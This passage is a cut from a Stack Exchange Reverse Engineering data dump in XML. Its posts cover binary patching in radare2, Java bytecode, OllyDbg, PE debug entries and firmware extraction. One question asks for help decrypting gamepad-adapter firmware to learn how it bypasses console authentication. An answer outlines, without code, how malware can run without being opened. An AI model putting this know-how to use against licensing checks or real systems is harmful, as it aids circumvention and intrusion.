0x004005c4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now exit from radare2 and execute the program, The changes will affected immediately.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;beet:/tmp$ ./modified_helloworld&#xA;Good, Bye!!!!&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;et voilà! We changed the output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can read more in the &lt;a href=&quot;https://monosource.gitbooks.io/radare2-explorations/content/intro/editing.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&quot;Editing&quot;&lt;/a&gt; chapter from radare2book.&lt;/p&gt;&#xA;" OwnerUserId="18698" LastEditorUserId="18698" LastEditDate="2018-02-08T08:43:42.873" LastActivityDate="2018-02-08T08:43:42.873" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="17419" PostTypeId="1" CreationDate="2018-02-08T15:02:14.130" Score="2" ViewCount="1584" Body="&lt;p&gt;it has been a couple of months that I'm working on the firmware produced by a &lt;a href=&quot;http://www.brookaccessory.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;company&lt;/a&gt; that makes (not licensed) gamepad console adapters.&#xA;One of my goal was to understand how they bypassed (hacked) the SHA authorization process involved in the new consoles licensed game-pad communication. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: I found a very interested response from &lt;strong&gt;SYS_V&lt;/strong&gt; user:&#xA;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/15006/approach-to-extract-useful-information-from-binary-file/15025#15025&quot;&gt;Approach to extract useful information from binary file&lt;/a&gt;&#xA;that helped me a lot, but I still struggling with the reverse.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here the facts:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;By looking at one of their &lt;a href=&quot;https://cdn7.bigcommerce.com/s-ajh2rr5h/images/stencil/1280x1280/products/999/5939/Brook_Universal_Fighting_Board__48294.1457603057.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;circuit board&lt;/a&gt; and by doing some reverse engineering on their software update programs, I'm 95% sure that the uC is a Nuvoton M452RG6AE/M452RE6A (ARM-Cortex M4). &lt;a href=&quot;http://www.nuvoton.com/hq/products/microcontrollers/arm-cortex-m4-mcus/?__locale=en&quot; rel=&quot;nofollow noreferrer&quot;&gt;Here&lt;/a&gt; the datasheet.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The company stores the firmware on a public &lt;a href=&quot;ftp://219.84.35.58/brookhex/&quot; rel=&quot;nofollow noreferrer&quot;&gt;ftp&lt;/a&gt;.&#xA;Some of them are encrypted (with a non canonical algorithm). &#xA;The no encrypted firmware are the ones included in the P2_P3P4, P2_X1, P3P4_NEO folders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some firmware have the LD and AP words as part of their filename. This made me wonder that, probably, they include the bootloader.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm stuck here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My other goal is to find the way to reverse the encryption algorithm and make the firmware &quot;readable&quot;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;A guy on &lt;a href=&quot;https://gist.github.com/poliva/d404fafb78ea4200cd3f7232f6caacaa&quot; rel=&quot;nofollow noreferrer&quot;&gt;github&lt;/a&gt; published the firmware upgrade process with a mac.&#xA;By looking at these files and reversing the update program, it seems that the update program client send the firmware to the uC encrypted.&#xA;The bootloader writes the payload on a external i2C memory.&#xA;Once the firmware upload is completed, the bootloader calculates the checksum and it sends to the update program client for cross checking.&#xA;If the checksum is valid, the update program client send the &quot;&lt;strong&gt;0xa6(statusA CMD)&lt;/strong&gt;&quot; to the bootloader that will read the firmware from i2C memory, decrypt and write on the APROM section.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;It is possible to reverse the not encrypted firwmares with IDA (I'm not familiar with radare), by setting the CPU to ARM-v7M. Some parts are decompiled well, some other are detected as &lt;strong&gt;unk&lt;/strong&gt; by IDA and I don't know if there are data or code parts.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Someone wants to help me out or suggest me something that may help me for proceeding with the reversing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the point #1 and #4, in my question, I was referring to this file  &lt;a href=&quot;ftp://219.84.35.58/brookhex/P2_P3P4/ZPJ0J010_V21_20170627_LD-6EAD_AP-746E.hex&quot; rel=&quot;nofollow noreferrer&quot;&gt;V21_LD_AP&lt;/a&gt;(md5sum: 5e19b55bb46bb642faebcb19478cec92) and this file &lt;a href=&quot;ftp://219.84.35.58/brookhex/P2_P3P4/ZPJ0J010_V21_20170627_AP-99F8.hex&quot; rel=&quot;nofollow noreferrer&quot;&gt;V21_AP&lt;/a&gt; (md5sum: 344facf48a617364d74ad17351678deb) (this version file doesn't contain the LD word in the filename).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My goal is trying to decrypt this &lt;a href=&quot;ftp://219.84.35.58/brookhex/FightingBoard/ZP003030_V22_20180209_1124_AP-1B1B_auth.hex&quot; rel=&quot;nofollow noreferrer&quot;&gt;file&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm pretty sure that they use the same encryption algorithm for every firmware. &#xA;However, some firmware are released in both ways: encrypted and decrypted. &#xA;An example is possible to find under the P2_X1 folder (see the firmware V16 versions).&lt;/p&gt;&#xA;" OwnerUserId="23209" LastEditorUserId="23209" LastEditDate="2018-02-09T18:59:52.210" LastActivityDate="2018-02-09T18:59:52.210" Title="Arm hex firmware reverse" Tags="|firmware|arm|encryption|" AnswerCount="0" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="17424" PostTypeId="2" ParentId="17403" CreationDate="2018-02-09T16:33:26.470" Score="3" Body="&lt;p&gt;There are several ways to achieve this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Decompile .class to .java source (not necessarily original source, but equivalent), make your changes, compile again. There are many Java decompilers out there, I won't list them all.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Disassemble .class to &quot;assembly&quot; (usually Jasmin syntax), modify it, assemble back. &lt;a href=&quot;https://github.com/Storyyeller/Krakatau&quot; rel=&quot;nofollow noreferrer&quot;&gt;Krakatau&lt;/a&gt; is a good tool that should be able to do it.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use a tool that can modify/patch the bytecode directly in the .class file. I haven't tried it, but &lt;a href=&quot;https://github.com/Col-E/Recaf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Recaf&lt;/a&gt; claims to be able to do it.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Hook the Java runtime interpreter to catch the moment it starts executing the target function and  make it execute something else instead. This is somewhat implementation-specific but here's one example I know about which uses Java debugging protocol (JWDP): &lt;a href=&quot;https://github.com/CrowdStrike/pyspresso&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/CrowdStrike/pyspresso&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="60" LastActivityDate="2018-02-09T16:33:26.470" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17425" PostTypeId="2" ParentId="1392" CreationDate="2018-02-10T02:31:57.697" Score="6" Body="&lt;p&gt;VisualStudio.Code (&lt;a href=&quot;https://code.visualstudio.com/download&quot; rel=&quot;noreferrer&quot;&gt;VS.Code&lt;/a&gt;) runs on Linux and has a &quot;Native Debug&quot; extension that lets you use gdb. It has very responsive UI. It's extremely light on resources. The experience somewhat approximates Visual Studio on Windows for C++ developers (there's no assembly view though). The main debug shortcuts are the same out of the box (F5, Shift-F5, F10, F11).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Installation is two-click (one to install VS.Code, the other to install the extension), great for someone coming from Windows Visual Studio and looking to be productive right away.&lt;/p&gt;&#xA;" OwnerUserId="23248" LastActivityDate="2018-02-10T02:31:57.697" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17426" PostTypeId="1" CreationDate="2018-02-10T08:18:48.293" Score="2" ViewCount="683" Body="&lt;p&gt;I am doing some android malware analysis work and downloaded many android samples in virus share, but I found some of them are windows malware e.g. labeled 'win32' or something.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Are these windows malware samples able to execute automatically in my computer even if I didn't add a proper extension name for them e.g '.exe'?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am afraid it may damage my computer or leak some private data...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The samples that I downloaded is from this zip file.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/6lakI.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/6lakI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;To simplify the question that I want to ask is:&#xA;Whether a sample that has no extension name can excute automatically？&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="23250" LastEditorUserId="23250" LastEditDate="2018-02-11T08:13:05.763" LastActivityDate="2023-08-24T19:05:30.710" Title="Whether samples downloaded from virus share can execute automatically in my computer" Tags="|malware|android|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17427" PostTypeId="1" AcceptedAnswerId="17428" CreationDate="2018-02-10T15:03:10.280" Score="0" ViewCount="1268" Body="&lt;p&gt;Microsoft describes the IMAGE_DEBUG_DIRECTORY structure &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/ms680307(v=vs.85).aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I learned &lt;a href=&quot;http://www.debuginfo.com/articles/debuginfomatch.html#debuginfoinpe&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; that for recent VisualStudio-compiled binaries, the type is &lt;code&gt;IMAGE_DEBUG_TYPE_CODEVIEW&lt;/code&gt;, i.e. the value is &lt;code&gt;0x2&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I have a vanilla VS-2015 compiled binary and I am using the Python module &lt;code&gt;pefile&lt;/code&gt; to iterate over the &lt;code&gt;IMAGAE_DEBUG_DIRECTORY&lt;/code&gt; objects:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for debug_data_object in pe.DIRECTORY_ENTRY_DEBUG:&#xA;    ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The first entry is as expected:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x6500     0x0   Characteristics:               0x0       &#xA;0x6504     0x4   TimeDateStamp:                 0x59088504 [Tue May 02 13:09:24 2017 UTC]&#xA;0x6508     0x8   MajorVersion:                  0x0       &#xA;0x650A     0xA   MinorVersion:                  0x0       &#xA;0x650C     0xC   Type:                          0x2       &#xA;0x6510     0x10  SizeOfData:                    0x88      &#xA;0x6514     0x14  AddressOfRawData:              0x176DC   &#xA;0x6518     0x18  PointerToRawData:              0x66DC&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But there is a second one. Its type is 0xC :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x651C     0x0   Characteristics:               0x0       &#xA;0x6520     0x4   TimeDateStamp:                 0x59088504 [Tue May 02 13:09:24 2017 UTC]&#xA;0x6524     0x8   MajorVersion:                  0x0       &#xA;0x6526     0xA   MinorVersion:                  0x0       &#xA;0x6528     0xC   Type:                          0xC       &#xA;0x652C     0x10  SizeOfData:                    0x14      &#xA;0x6530     0x14  AddressOfRawData:              0x17764   &#xA;0x6534     0x18  PointerToRawData:              0x6764 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What is this second entry about? Why is it there? What does type &lt;code&gt;0xc&lt;/code&gt; correspond to?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;br&gt;&#xA;&lt;br&gt;&#xA;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition to the answer below, &lt;a href=&quot;https://stackoverflow.com/a/48723533/4480139&quot;&gt;this&lt;/a&gt; SO post contains additional detailed info.&lt;/p&gt;&#xA;" OwnerUserId="11830" LastEditorUserId="11830" LastEditDate="2018-02-10T17:30:01.473" LastActivityDate="2018-02-10T17:30:01.473" Title="PE: Strange entry in debug directory (Type: 0xc)" Tags="|pe|binary-format|debugging-symbols|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17428" PostTypeId="2" ParentId="17427" CreationDate="2018-02-10T16:41:35.543" Score="3" Body="&lt;p&gt;If you check &lt;code&gt;winnt.h&lt;/code&gt; from the latest Windows 10 SDK you can find rest of the values there:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#define IMAGE_DEBUG_TYPE_UNKNOWN          0&#xA;#define IMAGE_DEBUG_TYPE_COFF             1&#xA;#define IMAGE_DEBUG_TYPE_CODEVIEW         2&#xA;#define IMAGE_DEBUG_TYPE_FPO              3&#xA;#define IMAGE_DEBUG_TYPE_MISC             4&#xA;#define IMAGE_DEBUG_TYPE_EXCEPTION        5&#xA;#define IMAGE_DEBUG_TYPE_FIXUP            6&#xA;#define IMAGE_DEBUG_TYPE_OMAP_TO_SRC      7&#xA;#define IMAGE_DEBUG_TYPE_OMAP_FROM_SRC    8&#xA;#define IMAGE_DEBUG_TYPE_BORLAND          9&#xA;#define IMAGE_DEBUG_TYPE_RESERVED10       10&#xA;#define IMAGE_DEBUG_TYPE_CLSID            11&#xA;#define IMAGE_DEBUG_TYPE_VC_FEATURE       12&#xA;#define IMAGE_DEBUG_TYPE_POGO             13&#xA;#define IMAGE_DEBUG_TYPE_ILTCG            14&#xA;#define IMAGE_DEBUG_TYPE_MPX              15&#xA;#define IMAGE_DEBUG_TYPE_REPRO            16&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So &lt;code&gt;0xC&lt;/code&gt; is &lt;code&gt;IMAGE_DEBUG_TYPE_VC_FEATURE&lt;/code&gt;. It looks like there's not much info on what it is stored there but you can do some searches to get some idea.&lt;/p&gt;&#xA;" OwnerUserId="18014" LastActivityDate="2018-02-10T16:41:35.543" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17429" PostTypeId="1" CreationDate="2018-02-10T17:16:13.217" Score="-1" ViewCount="1280" Body="&lt;p&gt;I looking at java bytecode and understand almost everything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I saw the symbol &lt;code&gt;[B&lt;/code&gt; on java bytecode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What does it mean?&lt;/p&gt;&#xA;" OwnerUserId="23252" LastEditorUserId="60" LastEditDate="2018-02-10T17:50:53.703" LastActivityDate="2018-02-10T17:51:05.570" Title="[B symbol in java bytecode" Tags="|disassembly|java|byte-code|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17430" PostTypeId="1" AcceptedAnswerId="17432" CreationDate="2018-02-10T17:50:36.713" Score="0" ViewCount="359" Body="&lt;p&gt;I have a small program that I wanted to debug.&lt;br&gt;&#xA;I run OllyDbg version 2 and attached the program to the debugger.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I received this window:&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/ZcqCP.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZcqCP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see that the addresses are from the Kernel memory.&lt;br&gt;&#xA;I want to see the code of the program, I tried to double click on all the opened thread but everyone are in a kernel memory.&lt;br&gt;&#xA;I noticed that the header is:  &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;CPU - main thread, module USER32&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Maybe the problem is that it showing me the module's memory and not the program's memory.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea how I can switch to the program's memory (user-space memory)?&lt;/p&gt;&#xA;" OwnerUserId="18080" LastEditorUserId="18080" LastEditDate="2018-02-10T17:56:19.207" LastActivityDate="2018-02-10T17:56:19.207" Title="How to get back to program's main code (user-space) while attaching to de bugger" Tags="|ollydbg|debugging|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17431" PostTypeId="2" ParentId="17429" CreationDate="2018-02-10T17:51:05.570" Score="2" Body="&lt;p&gt;It means a byte array.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the Java descriptor syntax, a &lt;code&gt;[&lt;/code&gt; at the beginning means an array. There's a one letter code for each primitive type - B = Byte, C = Char, S = Short, Z = Boolean, I = Int, J = Long, F = Float, and D = Double. Object types are represented by L, followed by the classname, followed by a semicolon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for example, a &lt;code&gt;String[][][]&lt;/code&gt; would have the descriptor &lt;code&gt;[[[Ljava/lang/String;&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1739" LastActivityDate="2018-02-10T17:51:05.570" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17432" PostTypeId="2" ParentId="17430" CreationDate="2018-02-10T17:55:42.840" Score="0" Body="&lt;p&gt;I found how to do it.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just right click on the code, choose &lt;code&gt;Select module&lt;/code&gt; and choose the main module which is usually on the top.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/iYZcc.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/iYZcc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18080" LastActivityDate="2018-02-10T17:55:42.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17433" PostTypeId="1" AcceptedAnswerId="17435" CreationDate="2018-02-10T19:31:00.880" Score="1" ViewCount="2537" Body="&lt;p&gt;I am debugging a program and searching to see when the program is calling &lt;code&gt;WinHttpOpenRequest&lt;/code&gt;.    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I searched using for the function with &lt;kbd&gt;Ctrl+G&lt;/kbd&gt;&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/jevgG.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/jevgG.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I pressed on &lt;code&gt;Follow expression&lt;/code&gt; and it put me on the definition of the function on the &lt;code&gt;WinHttp&lt;/code&gt; module:&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/5elBL.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/5elBL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wanted to find the place where the main module of the program is calling this function and not the definition.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I put a breakpoint there and after the program stopped there I tried to use the  &lt;code&gt;Go to&lt;/code&gt; -&gt; &lt;code&gt;Previous location\procedure&lt;/code&gt; so see the calling to this function from the program but it send me to different places.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea how can I find the places where the program is calling to a specific function, in my case &lt;code&gt;WinHttpOpenRequest&lt;/code&gt; ?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a workaround and use IDA to find the exact place, but I am sure OllyDbg has this ability and I just not familiar with it.  &lt;/p&gt;&#xA;" OwnerUserId="18080" LastActivityDate="2018-02-11T07:22:03.040" Title="Find function's caller locations" Tags="|ollydbg|debugging|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17434" PostTypeId="2" ParentId="17426" CreationDate="2018-02-11T05:02:01.317" Score="1" Body="&lt;p&gt;The simplest and most common type of malware depends on you executing it, but malware can target vulnerabilities in any program that processes the data.&lt;br&gt;&#xA;There are a few cases where simply downloading a file without opening it could lead to execution of attacker controlled code from within the file. It usually involves exploiting a known vulnerability within a program which will handle the file in some way. Here are some examples:  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Windows will try to extract information from the file to display the icon and preview when looking at the folder inside explorer (such as PDF or image thumbnail). One example was the &lt;a href=&quot;https://en.wikipedia.org/wiki/Windows_Metafile_vulnerability&quot; rel=&quot;nofollow noreferrer&quot;&gt;Windows Metafile Vulnerability&lt;/a&gt; which could be exploited only by previewing the file in explorer.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Another attack vectors is the builtin Windows Search. To extract the information necessary for a full text search Windows will scan the files in the background and use the file parser to extract the content. A bug in the file parser can thus lead to code execution.  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;The file targets a vulnerability in your antivirus which triggers when the file is scanned  &lt;/li&gt;&#xA;&lt;li&gt;The file targets a vulnerability in your file system such as NTFS where the filename or another property could trigger the bug  &lt;/li&gt;&#xA;&lt;li&gt;A library file (ex. dll) could get executed when saved to the same directory where an application vulnerable to &lt;a href=&quot;https://www.owasp.org/index.php/Binary_planting&quot; rel=&quot;nofollow noreferrer&quot;&gt;binary planting&lt;/a&gt; is executed from&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="22363" LastActivityDate="2018-02-11T05:02:01.317" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17435" PostTypeId="2" ParentId="17433" CreationDate="2018-02-11T07:22:03.040" Score="1" Body="&lt;p&gt;viewing previous procdures does not imply previous callers  to view previous callers you need to look at the stack if you are executing the binary &lt;/p&gt;&#xA;&#xA;&lt;p&gt;use &lt;kbd&gt;ctrl+k&lt;/kbd&gt;&lt;br&gt;&#xA;btw winhttp uses com so it would be convoluted indirect access on vtables over activex object &lt;/p&gt;&#xA;&#xA;&lt;p&gt;it is not clear if you are executing the binary but just disassembling and trying to look at the references since you mention you have a workaround in ida &lt;/p&gt;&#xA;&#xA;&lt;p&gt;i presume you are meaning the xrefs in ida &lt;/p&gt;&#xA;&#xA;&lt;p&gt;if that is the case then ollydbg shows those references when you&lt;br&gt;&#xA;analyze the winhttp.dll &lt;kbd&gt;ctrl+a&lt;/kbd&gt; &#xA;if you had analyzed the winhttp and used ctrl+g to go to the api &lt;/p&gt;&#xA;&#xA;&lt;p&gt;you will see a small pane between cpu window and dump window stating local calls from  if you double click it you will see all the references to the present call&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/iWy2i.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/iWy2i.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2018-02-11T07:22:03.040" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17436" PostTypeId="1" CreationDate="2018-02-11T09:17:32.433" Score="3" ViewCount="854" Body="&lt;p&gt;I have piece of firmware (download from &lt;a href=&quot;https://drive.google.com/open?id=1GGEcWlu_Bz8cTAfSQ9bZxCLuQ8YVzSZ5&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;) and I need to get access to its filesystem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the output of a &lt;code&gt;binwalk&lt;/code&gt; scan:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;root@kali:~/Desktop/E1200YDXNB1_OLAANB1# binwalk --dd=&quot;.*&quot; ps.bin&#xA;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;108542        0x1A7FE         Unix path: /source/base/src/doidleonpage.c&#xA;172162        0x2A082         Unix path: /source/efs/src/efs_item.c&#xA;215976        0x34BA8         Unix path: /Layer1/source/c/datacnfproc.c&#xA;309012        0x4B714         Unix path: /Layer1/source/c/systeminfo.c&#xA;747043        0xB6623         MySQL ISAM index file Version 4&#xA;763097        0xBA4D9         Minix filesystem, V1, little endian, 4 zones&#xA;763641        0xBA6F9         Minix filesystem, V1, little endian, 8192 zones&#xA;796248        0xC2658         MySQL ISAM compressed data file Version 2&#xA;801115        0xC395B         MySQL MISAM index file Version 3&#xA;819081        0xC7F89         MySQL MISAM compressed data file Version 9&#xA;821756        0xC89FC         MySQL MISAM index file Version 7&#xA;825421        0xC984D         MySQL MISAM index file Version 5&#xA;842282        0xCDA2A         MySQL ISAM index file Version 10&#xA;864884        0xD3274         Unix path: /source/src/c/sci_mem.c&#xA;870088        0xD46C8         Unix path: /source/src/c/threadx_os.c&#xA;882552        0xD7778         Unix path: /source/src/c/sci_log.c&#xA;887232        0xD89C0         Unix path: /source/src/c/threadx_appmem.c&#xA;1350524       0x149B7C        LZMA compressed data, properties: 0x5A, dictionary size: 16777216 bytes, uncompressed size: 4096 bytes&#xA;2244000       0x223DA0        LZMA compressed data, properties: 0x5A, dictionary size: 16777216 bytes, uncompressed size: 4096 bytes&#xA;2246600       0x2247C8        LZMA compressed data, properties: 0x5A, dictionary size: 16777216 bytes, uncompressed size: 4096 bytes&#xA;2251808       0x225C20        LZMA compressed data, properties: 0x5A, dictionary size: 16777216 bytes, uncompressed size: 4096 bytes&#xA;2254368       0x226620        LZMA compressed data, properties: 0x5A, dictionary size: 16777216 bytes, uncompressed size: 4096 bytes&#xA;2256964       0x227044        LZMA compressed data, properties: 0x5A, dictionary size: 16777216 bytes, uncompressed size: 4096 bytes&#xA;2259516       0x227A3C        LZMA compressed data, properties: 0x5A, dictionary size: 16777216 bytes, uncompressed size: 4096 bytes&#xA;2262096       0x228450        LZMA compressed data, properties: 0x5A, dictionary size: 16777216 bytes, uncompressed size: 4096 bytes&#xA;2266940       0x22973C        LZMA compressed data, properties: 0x5A, dictionary size: 16777216 bytes, uncompressed size: 4096 bytes&#xA;2269388       0x22A0CC        LZMA compressed data, properties: 0x5A, dictionary size: 16777216 bytes, uncompressed size: 4096 bytes&#xA;2271928       0x22AAB8        LZMA compressed data, properties: 0x5A, dictionary size: 16777216 bytes, uncompressed size: 4096 bytes&#xA;2274460       0x22B49C        LZMA compressed data, properties: 0x5A, dictionary size: 16777216 bytes, uncompressed size: 4096 bytes&#xA;3425084       0x34433C        LZMA compressed data, properties: 0x5A, dictionary size: 16777216 bytes, uncompressed size: 4096 bytes&#xA;3535408       0x35F230        LZMA compressed data, properties: 0x5A, dictionary size: 16777216 bytes, uncompressed size: 4096 bytes&#xA;3535448       0x35F258        LZMA compressed data, properties: 0x5A, dictionary size: 16777216 bytes, uncompressed size: 4096 bytes&#xA;3535488       0x35F280        LZMA compressed data, properties: 0x5A, dictionary size: 16777216 bytes, uncompressed size: 4096 bytes&#xA;3536360       0x35F5E8        LZMA compressed data, properties: 0x5A, dictionary size: 16777216 bytes, uncompressed size: 4096 bytes&#xA;3555612       0x36411C        LZMA compressed data, properties: 0x5A, dictionary size: 16777216 bytes, uncompressed size: 4096 bytes&#xA;3814428       0x3A341C        LZMA compressed data, properties: 0x5A, dictionary size: 16777216 bytes, uncompressed size: 4096 bytes&#xA;3818348       0x3A436C        LZMA compressed data, properties: 0x5A, dictionary size: 16777216 bytes, uncompressed size: 4096 bytes&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As you can see, there are two files that &lt;code&gt;binwalk&lt;/code&gt; detects as a Minix filesystem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when i tried to mount these files like this &lt;code&gt;mount -t minix BA6F9 test/&lt;/code&gt; it results in an error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wrong fs type, bad option, bad superblock on /dev/loop0, missing codepage or helper program, or other error&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My question is how can I mount or extract this filesystem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I edited the question with more details about my project:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My goal is to add Hebrew language to this firmware. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I found a tool that can edit the strings to Hebrew language, but I still have two problems with that. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, the font of this firmware doesn’t support Hebrew letters. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;and second, Hebrew language is RTL language, so I need to edit the settings of this language to RTL. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;about the font, I found in the firmware a path that mention to font files in directory called font, and the files is with extension .lib (e.g. english_font.lib). I have another firmware, of very similar phone, Samsung b110e (same CPU) that contains Hebrew language. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is if there is a option to copy the font from this firmware to my firmware. 